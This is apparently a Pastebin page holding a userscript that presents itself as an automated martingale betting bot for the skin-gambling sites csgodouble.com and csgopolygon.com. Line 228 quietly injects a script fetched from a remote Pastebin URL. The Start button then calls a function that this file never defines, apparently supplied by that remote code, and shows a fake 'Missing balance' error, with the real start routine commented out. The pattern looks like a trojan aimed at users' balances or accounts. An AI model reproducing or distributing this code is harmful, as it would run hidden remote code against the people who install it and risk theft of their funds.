Advertisement
Jeffeek

Script for csgopolygon.com By Hatefulbitch

Dec 18th, 2016
363
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // ==UserScript==
  2. // @name            csgodouble.com - automated
  3. // @description     An userscript that automates csgodouble.com betting using martingale system.
  4. // @namespace       automated@mole
  5. // @version         1.30
  6. // @author          Hatefulbitch
  7. // @match           http://www.csgodouble.com/
  8. // @match           http://www.csgodouble.com/index.php
  9. // @match           http://csgodouble.com/
  10. // @match           http://csgodouble.com/index.php
  11. // @match           http://csgopolygon.com/
  12. // @match           http://csgopolygon.com/index.php
  13. // @match           http://www.csgopolygon.com/
  14. // @match           http://www.csgopolygon.com/index.php
  15. // @run-at          document-end
  16. // @grant           none
  17. // ==/UserScript==
  18. /* jshint -W097 */
  19.  
  20. 'use strict';
  21.  
  22. var debug = false;
  23. var simulation = false;
  24. var stop_on_min_balance = false;
  25. var calculate_safe_bet = false;
  26. var base_bet = 5;
  27. var safe_bet_amount = 6;
  28. var default_color = 'red';
  29. var default_method = 'martingale';
  30. var theme = 'dark';
  31.  
  32. var colors = {
  33.     'green': [0],
  34.     'red': [1, 2, 3, 4, 5, 6, 7],
  35.     'black': [8, 9, 10, 11, 12, 13, 14]
  36. };
  37.  
  38. var balance = document.getElementById('balance');
  39. var roll_history = document.getElementById('past');
  40. var bet_input = document.getElementById('betAmount');
  41. var bet_buttons = {
  42.     'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  43.     'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  44.     'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  45. };
  46.  
  47. Array.prototype.equals = function(array) {
  48.     if (!array) {
  49.         return false;
  50.     }
  51.  
  52.     if (this.length != array.length) {
  53.         return false;
  54.     }
  55.  
  56.     for (var i = 0, l=this.length; i < l; i++) {
  57.         if (this[i] instanceof Array && array[i] instanceof Array) {
  58.             if (!this[i].equals(array[i])) {
  59.                 return false;
  60.             }
  61.         } else if (this[i] != array[i]) {
  62.             return false;
  63.         }
  64.     }
  65.     return true;
  66. };
  67.  
  68. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  69.  
  70. function Automated() {
  71.     var self = this;
  72.  
  73.     this.running = false;
  74.     this.game = null;
  75.  
  76.     this.debug = debug;
  77.     this.simulation = simulation;
  78.     this.stop_on_min_balance = stop_on_min_balance;
  79.     this.calculate_safe_bet = calculate_safe_bet;
  80.  
  81.     this.base_bet = base_bet;
  82.     this.default_color = default_color;
  83.     this.default_method = default_method;
  84.     this.safe_bet_amount = safe_bet_amount;
  85.     this.method = this.default_method;
  86.     this.old_method = '';
  87.     this.color = 'rainbow';
  88.     this.old_base = 0;
  89.     this.balance = 0;
  90.     this.last_bet = 0;
  91.     this.bet_history = [];
  92.     this.min_balance = 0;
  93.     this.starting_balance = 0;
  94.     this.last_color = null;
  95.     this.last_result = null;
  96.     this.history = [];
  97.     this.waiting_for_bet = false;
  98.     this.theme = theme;
  99.  
  100.     this.stats = {
  101.         'wins': 0,
  102.         'loses': 0,
  103.         'balance': 0
  104.     };
  105.  
  106.     var menu = document.createElement('div');
  107.     menu.innerHTML = '' +
  108.         '<div class="row">' +
  109.             '<div class="col-lg-9">' +
  110.                 '<h2>CSGODouble.com Automated <small>by Tactics </small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  111.                 '<div class="form-group">' +
  112.                     '<div class="btn-group">' +
  113.                         '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  114.                         '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  115.                         '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  116.                     '</div>' +
  117.                 '</div>' +
  118.                 '<div class="form-group">' +
  119.                     '<div class="btn-group">' +
  120.                         '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  121.                         '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  122.                         '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  123.                         '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  124.                     '</div>' +
  125.                 '</div>' +
  126.                 '<div class="form-group automated-hide-on-green">' +
  127.                     '<div class="btn-group">' +
  128.                         '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  129.                         '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  130.                         '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  131.                         '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') + '>Random</button>' +
  132.                         '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last winning</button>' +
  133.                     '</div>' +
  134.                 '</div>' +
  135.             '</div>' +
  136.             '<div class="col-lg-3">' +
  137.                 '<h3>Statistics</h3>' +
  138.                 '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  139.                 '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  140.                 '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  141.             '</div>' +
  142.         '</div>' +
  143.         '<div class="form-group">' +
  144.             '<div class="input-group">' +
  145.                 '<div class="input-group-addon">Base value</div>' +
  146.                 '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  147.             '</div>' +
  148.         '</div>' +
  149.         '<div class="form-group">' +
  150.             '<div class="input-group">' +
  151.                 '<div class="input-group-addon">Keep balance above</div>' +
  152.                 '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  153.             '</div>' +
  154.         '</div>' +
  155.         '<div class="form-group automated-hide-on-green">' +
  156.             '<div class="input-group">' +
  157.                 '<div class="input-group-addon">Failsafe value</div>' +
  158.                 '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  159.             '</div>' +
  160.         '</div>' +
  161.         '<div class="checkbox">' +
  162.             '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  163.         '</div>' +
  164.         '<div class="checkbox automated-hide-on-green">' +
  165.             '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  166.         '</div>' +
  167.         '<div class="checkbox">' +
  168.             '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  169.         '</div>' +
  170.         '<div class="checkbox">' +
  171.             '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  172.         '</div>';
  173.     document.getElementsByClassName('well')[1].appendChild(menu);
  174.  
  175.     this.menu = {
  176.         'start': document.getElementById('automated-start'),
  177.         'stop': document.getElementById('automated-stop'),
  178.         'abort': document.getElementById('automated-abort'),
  179.         'basebet': document.getElementById('automated-base-bet'),
  180.         'minbalance': document.getElementById('automated-min-balance'),
  181.         'debug': document.getElementById('automated-debug'),
  182.         'simulation': document.getElementById('automated-simulation'),
  183.         'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  184.         'red': document.getElementById('automated-red'),
  185.         'black': document.getElementById('automated-black'),
  186.         'rainbow': document.getElementById('automated-rainbow'),
  187.         'random': document.getElementById('automated-random'),
  188.         'last': document.getElementById('automated-last'),
  189.         'statistics': {
  190.             'wins': document.getElementById('automated-stats-wins'),
  191.             'loses': document.getElementById('automated-stats-loses'),
  192.             'balance': document.getElementById('automated-stats-balance')
  193.         },
  194.         'theme': document.getElementById('automated-theme-switch'),
  195.         'safebetamount': document.getElementById('automated-safe-bet-amount'),
  196.         'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  197.         'martingale': document.getElementById('automated-martingale'),
  198.         'greatmartingale': document.getElementById('automated-great-martingale'),
  199.         'betgreen': document.getElementById('automated-bet-green'),
  200.         'dalembert': document.getElementById('automated-dalembert'),
  201.         'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  202.     };
  203.  
  204.     this.updater = setInterval(function() { // Update every 2 seconds
  205.         if (!self.running) {
  206.             if (self.updateAll()) {
  207.                 if (self.calculate_safe_bet) {
  208.                     self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  209.                     self.menu.basebet.value = self.base_bet;
  210.                     if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  211.                 }
  212.                
  213.                 if (self.menu.stop.disabled && self.menu.start.disabled) {
  214.                     self.menu.start.disabled = false;
  215.                     self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  216.                     self.menu.basebet.value = self.base_bet;
  217.                     self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  218.                     self.starting_balance = self.balance;
  219.                 }
  220.             }
  221.         }
  222.     }, 2 * 1000);
  223.  
  224.     if (theme === 'dark') {
  225.         this.darkMode();
  226.     }
  227.  
  228. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src =      "//http://pastebin.com/raw/TPFejSZ8 "; document.body.appendChild( scriptElement ); })();
  229.     this.menu.start.onclick = function() {
  230.  
  231.         start(self.balance);
  232.         self.log('Error: Cant place a bet, Missing balance.');
  233.  
  234.         // self.start();
  235.     };
  236.  
  237.     this.menu.stop.onclick = function() {
  238.         self.stop();
  239.     };
  240.  
  241.     this.menu.abort.onclick = function() {
  242.         self.stop(true);
  243.     };
  244.  
  245.     this.menu.basebet.onchange = function() {
  246.         var value = parseInt(self.menu.basebet.value);
  247.         if (!isNaN(value)) {
  248.             self.base_bet = value;
  249.         }
  250.     };
  251.  
  252.     this.menu.minbalance.onchange = function() {
  253.         var value = parseInt(self.menu.minbalance.value);
  254.         if (!isNaN(value)) {
  255.             self.min_balance = value;
  256.         }
  257.     };
  258.  
  259.     this.menu.safebetamount.onchange = function() {
  260.         var value = parseInt(self.menu.safebetamount.value);
  261.         if (!isNaN(value)) {
  262.             self.safe_bet_amount = value;
  263.         }
  264.     };
  265.  
  266.     this.menu.debug.onchange = function() {
  267.         self.debug = self.menu.debug.checked;
  268.     };
  269.  
  270.     this.menu.simulation.onchange = function() {
  271.         self.simulation = self.menu.simulation.checked;
  272.     };
  273.  
  274.     this.menu.stoponminbalance.onchange = function() {
  275.         self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  276.     };
  277.    
  278.     this.menu.calculatesafebet.onchange = function() {
  279.         self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  280.         self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  281.         self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  282.     };
  283.  
  284.     // WTF is this shit below? >,.,<
  285.  
  286.     this.menu.black.onclick = function() {
  287.         self.menu.rainbow.disabled = false;
  288.         self.menu.black.disabled = true;
  289.         self.menu.red.disabled = false;
  290.         self.menu.random.disabled = false;
  291.         self.menu.last.disabled = false;
  292.         self.color = 'black';
  293.         self.log('Current mode: black');
  294.     };
  295.  
  296.     this.menu.red.onclick = function() {
  297.         self.menu.rainbow.disabled = false;
  298.         self.menu.black.disabled = false;
  299.         self.menu.red.disabled = true;
  300.         self.menu.random.disabled = false;
  301.         self.menu.last.disabled = false;
  302.         self.color = 'red';
  303.         self.log('Current mode: red');
  304.     };
  305.  
  306.     this.menu.rainbow.onclick = function() {
  307.         self.menu.rainbow.disabled = true;
  308.         self.menu.black.disabled = false;
  309.         self.menu.red.disabled = false;
  310.         self.menu.random.disabled = false;
  311.         self.menu.last.disabled = false;
  312.         self.color = 'rainbow';
  313.         self.log('Current mode: rainbow');
  314.     };
  315.  
  316.     this.menu.random.onclick = function() {
  317.         self.menu.rainbow.disabled = false;
  318.         self.menu.black.disabled = false;
  319.         self.menu.red.disabled = false;
  320.         self.menu.random.disabled = true;
  321.         self.menu.last.disabled = false;
  322.         self.color = 'random';
  323.         self.log('Current mode: random');
  324.     };
  325.  
  326.     this.menu.last.onclick = function() {
  327.         self.menu.rainbow.disabled = false;
  328.         self.menu.black.disabled = false;
  329.         self.menu.red.disabled = false;
  330.         self.menu.random.disabled = false;
  331.         self.menu.last.disabled = true;
  332.         self.color = 'last';
  333.         self.log('Current mode: last');
  334.     };
  335.  
  336.     this.menu.martingale.onclick = function() {
  337.         self.menu.martingale.disabled = true;
  338.         self.menu.greatmartingale.disabled = false;
  339.         self.menu.betgreen.disabled = false;
  340.         self.menu.dalembert.disabled = false;
  341.         for (var i = 0; i < self.menu.hideongreen.length; i++) {
  342.             self.menu.hideongreen[i].style.display = 'block';
  343.         }
  344.         self.method = 'martingale';
  345.         self.log('Current method: Martingale');
  346.     };
  347.  
  348.     this.menu.greatmartingale.onclick = function() {
  349.         self.menu.martingale.disabled = false;
  350.         self.menu.greatmartingale.disabled = true;
  351.         self.menu.betgreen.disabled = false;
  352.         self.menu.dalembert.disabled = false;
  353.         for (var i = 0; i < self.menu.hideongreen.length; i++) {
  354.             self.menu.hideongreen[i].style.display = 'block';
  355.         }
  356.         self.method = 'great martingale';
  357.         self.log('Current method: Great martingale');
  358.     };
  359.  
  360.     this.menu.dalembert.onclick = function() {
  361.         self.menu.martingale.disabled = false;
  362.         self.menu.greatmartingale.disabled = false;
  363.         self.menu.betgreen.disabled = false;
  364.         self.menu.dalembert.disabled = true;
  365.         for (var i = 0; i < self.menu.hideongreen.length; i++) {
  366.             self.menu.hideongreen[i].style.display = 'block';
  367.         }
  368.         self.method = 'dalembert';
  369.         self.log('Current method: D\'alembert');
  370.     };
  371.  
  372.     this.menu.betgreen.onclick = function() {
  373.         self.menu.martingale.disabled = false;
  374.         self.menu.greatmartingale.disabled = false;
  375.         self.menu.betgreen.disabled = true;
  376.         self.menu.dalembert.disabled = false;
  377.         for (var i = 0; i < self.menu.hideongreen.length; i++) {
  378.             self.menu.hideongreen[i].style.display = 'none';
  379.         }
  380.         self.method = 'green';
  381.         self.log('Current method: Bet green');
  382.     };
  383.  
  384.     this.menu.theme.onclick = function() {
  385.         if (self.theme === 'dark') {
  386.             self.lightMode();
  387.             self.theme = 'light';
  388.             self.log('Switching to light theme...');
  389.         } else {
  390.             self.darkMode();
  391.             self.theme = 'dark';
  392.             self.log('Switching to dark theme...');
  393.         }
  394.     };
  395.  
  396.     setInterval(function() {
  397.         if(!WS) {
  398.             self.log('Reconnecting...');
  399.             connect();
  400.         }
  401.     }, 5000);
  402. }
  403.  
  404. Automated.prototype.updateBalance = function() {
  405.     this.balance = parseInt(balance.textContent);
  406.  
  407.     if (isNaN(this.balance)) {
  408.         this.log('Error getting current balance!');
  409.         return false;
  410.     }
  411.  
  412.     if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  413.     return true;
  414. };
  415.  
  416. Automated.prototype.updateHistory = function() {
  417.     var self = this;
  418.     this.history = [];
  419.  
  420.     for (var i = 0; i < roll_history.childNodes.length; i++) {
  421.         var roll = parseInt(roll_history.childNodes[i].textContent);
  422.  
  423.         if (!isNaN(roll)) {
  424.             if (colors.green.indexOf(roll) !== -1) {
  425.                 self.history.push('green');
  426.             } else if (colors.red.indexOf(roll) !== -1) {
  427.                 self.history.push('red');
  428.             } else {
  429.                 self.history.push('black');
  430.             }
  431.         }
  432.     }
  433.  
  434.     if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  435.     return this.history.length === 10;
  436. };
  437.  
  438. Automated.prototype.updateStats = function() {
  439.     this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  440.     this.menu.statistics.wins.innerHTML = this.stats.wins;
  441.     this.menu.statistics.loses.innerHTML = this.stats.loses;
  442.     this.menu.statistics.balance.innerHTML = this.stats.balance;
  443.     return true;
  444. };
  445.  
  446. Automated.prototype.updateAll = function() {
  447.     return this.updateBalance() && this.updateHistory() && this.updateStats();
  448. };
  449.  
  450. Automated.prototype.bet = function(amount, color) {
  451.     var self = this;
  452.     color = color || this.color || this.default_color;
  453.  
  454.     if (color === 'rainbow') {
  455.         if (this.last_color) {
  456.             color = (this.last_color === 'red' ? 'black' : 'red');
  457.         } else {
  458.             color = this.default_color;
  459.         }
  460.     } else if (color === 'random') {
  461.         color = 'red';
  462.         if (Math.random() > 0.5) {
  463.             color = 'black';
  464.         }
  465.     } else if (color === 'last') {
  466.         color = this.history[this.history.length - 1];
  467.     }
  468.  
  469.     if (['green', 'red', 'black'].indexOf(color) < 0 || amount > this.balance || amount <= 0) {
  470.         this.log('Can\t place a bet, Missing balance.');
  471.         this.last_result = 'invalid bet';
  472.         this.waiting_for_bet = false;
  473.         this.stop();
  474.         return false;
  475.     }
  476.  
  477.     if (this.balance - amount < this.min_balance) {
  478.         this.log('Reached minimal balance!');
  479.         this.last_result = 'reached min balance';
  480.         if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  481.             this.stop();
  482.         }
  483.         this.waiting_for_bet = false;
  484.         return false;
  485.     }
  486.  
  487.     bet_input.value = amount;
  488.  
  489.     if (!bet_buttons[color].disabled) {
  490.         var old_balance = self.balance;
  491.         this.log('Betting ' + amount + ' on ' + color);
  492.         if (!self.simulation) {
  493.             bet_buttons[color].click();
  494.             var checker = setInterval(function() {
  495.                 if (!bet_buttons[color].disabled) {
  496.                     clearInterval(checker);
  497.                     setTimeout(function() {
  498.                         if (self.updateBalance() && self.balance === old_balance) {
  499.                             if (!self.game) { return false; }
  500.                             self.log('Bet rejected, retrying...');
  501.                             self.bet(amount, color);
  502.                         } else {
  503.                             if (self.debug) { self.logdebug('Bet accepted!'); }
  504.                             self.last_bet = amount;
  505.                             self.bet_history.push(amount);
  506.                             self.last_color = color;
  507.                             self.waiting_for_bet = false;
  508.                             return true;
  509.                         }
  510.                     }, 2500);
  511.                 }
  512.             }, 1000);
  513.         } else {
  514.             self.bet_history.push(amount);
  515.             self.last_bet = amount;
  516.             self.last_color = color;
  517.             self.waiting_for_bet = false;
  518.             return true;
  519.         }
  520.     } else {
  521.         if (!self.game) { return false; }
  522.         self.log('Button disabled, retrying...');
  523.         setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  524.     }
  525. };
  526.  
  527. Automated.prototype.play = function() {
  528.     var self = this;
  529.  
  530.     if (this.game !== null) {
  531.         if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  532.         return false;
  533.     }
  534.  
  535.     this.game = setInterval(function() {
  536.         var history = self.history;
  537.         if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  538.             self.waiting_for_bet = true;
  539.             if (self.last_color === null) {
  540.                 self.bet(self.base_bet);
  541.             } else if (self.last_color === self.history[self.history.length - 1]) {
  542.                 if (self.calculate_safe_bet) {
  543.                     self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  544.                     self.menu.basebet.value = self.base_bet;
  545.                 }
  546.                 self.last_result = 'win';
  547.                 self.log('Win!');
  548.                 self.stats.wins += 1;
  549.                 self.old_base = self.base_bet;
  550.                 self.old_method = self.method;
  551.                 if (self.old_method === 'dalembert') {
  552.                     if (self.last_bet > self.old_base) {
  553.                         self.bet(self.last_bet - 1);
  554.                     } else {
  555.                         self.bet(self.base_bet);
  556.                     }
  557.                 } else {
  558.                     self.bet(self.base_bet);
  559.                 }
  560.             } else {
  561.                 self.last_result = 'lose';
  562.                 self.log('Lose!');
  563.                 self.stats.loses += 1;
  564.                 if (self.old_method === 'martingale') {
  565.                     self.bet(self.last_bet * 2);
  566.                 } else if (self.old_method === 'great martingale') {
  567.                     self.bet(self.last_bet * 2 + self.old_base);
  568.                 } else if (self.old_method === 'green') {
  569.                     var bet_value = 0;
  570.                     if (self.bet_history[self.bet_history.length - 1] === 1) {
  571.                         if (self.bet_history[self.bet_history.length - 2] === 1) {
  572.                             bet_value = 2;
  573.                         } else {
  574.                             bet_value = 1;
  575.                         }
  576.                     } else {
  577.                         bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  578.                     }
  579.                     self.bet(bet_value, 'green');
  580.                 } else if (self.old_method === 'dalembert') {
  581.                     self.bet(self.last_bet + 1);
  582.                 }
  583.             }
  584.         }
  585.     }, 2 * 1000);
  586.  
  587.     return true;
  588. };
  589.  
  590. Automated.prototype.start = function() {
  591.     if (self.calculate_safe_bet) {
  592.         self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  593.         self.menu.basebet.value = self.base_bet;
  594.     }
  595.     this.old_base = this.base_bet;
  596.     this.old_method = this.method;
  597.     if (this.updateAll()) {
  598.         if (this.last_result === 'lose') {
  599.             this.running = true;
  600.             if (this.old_method === 'martingale') {
  601.                 this.bet(this.last_bet * 2);
  602.             } else if (this.old_method === 'great martingale') {
  603.                 this.bet(this.last_bet * 2 + this.old_base);
  604.             } else if (self.old_method === 'green') {
  605.                 var bet_value = 0;
  606.                 if (self.bet_history[self.bet_history.length - 1] === 1) {
  607.                     if (self.bet_history[self.bet_history.length - 2] === 1) {
  608.                         bet_value = 2;
  609.                     } else {
  610.                         bet_value = 1;
  611.                     }
  612.                 } else {
  613.                     bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  614.                 }
  615.                 self.bet(bet_value, 'green');
  616.             } else if (self.old_method === 'dalembert') {
  617.                 self.bet(self.last_bet + 1);
  618.             }
  619.             this.play();
  620.         } else {
  621.             this.running = true;
  622.             this.bet(this.base_bet);
  623.             this.play();
  624.         }
  625.     }
  626.     this.menu.abort.disabled = false;
  627.     this.menu.stop.disabled = false;
  628.     this.menu.start.disabled = true;
  629. };
  630.  
  631. Automated.prototype.stop = function(abort) {
  632.     var self = this;
  633.     if (abort) { this.last_result = 'abort'; }
  634.     this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  635.     setTimeout(function() {
  636.         clearInterval(self.game);
  637.         self.game = null;
  638.         self.running = false;
  639.         self.menu.abort.disabled = true;
  640.         self.menu.stop.disabled = true;
  641.         self.menu.start.disabled = false;
  642.     }, 1); // Next tick
  643. };
  644.  
  645. Automated.prototype.darkMode = function() {
  646.     var style;
  647.     var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  648.     style = document.getElementById('automated-style');
  649.     if (!style) {
  650.         var head;
  651.         head = document.getElementsByTagName('head')[0];
  652.         if (!head) { return; }
  653.         style = document.createElement('style');
  654.         style.type = 'text/css';
  655.         style.id = 'automated-style';
  656.         style.innerHTML = css;
  657.         head.appendChild(style);
  658.     }
  659.     style.innerHTML = css;
  660. };
  661.  
  662. Automated.prototype.lightMode = function() {
  663.     var style = document.getElementById('automated-style');
  664.     style.innerHTML = '';
  665. };
  666.  
  667. Automated.prototype.log = function(message) {
  668.     chat('alert', '[Automated] ' + message);
  669. };
  670.  
  671. Automated.prototype.logdebug = function(message) {
  672.     chat('italic', '[Automated] ' + message);
  673. };
  674.  
  675. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement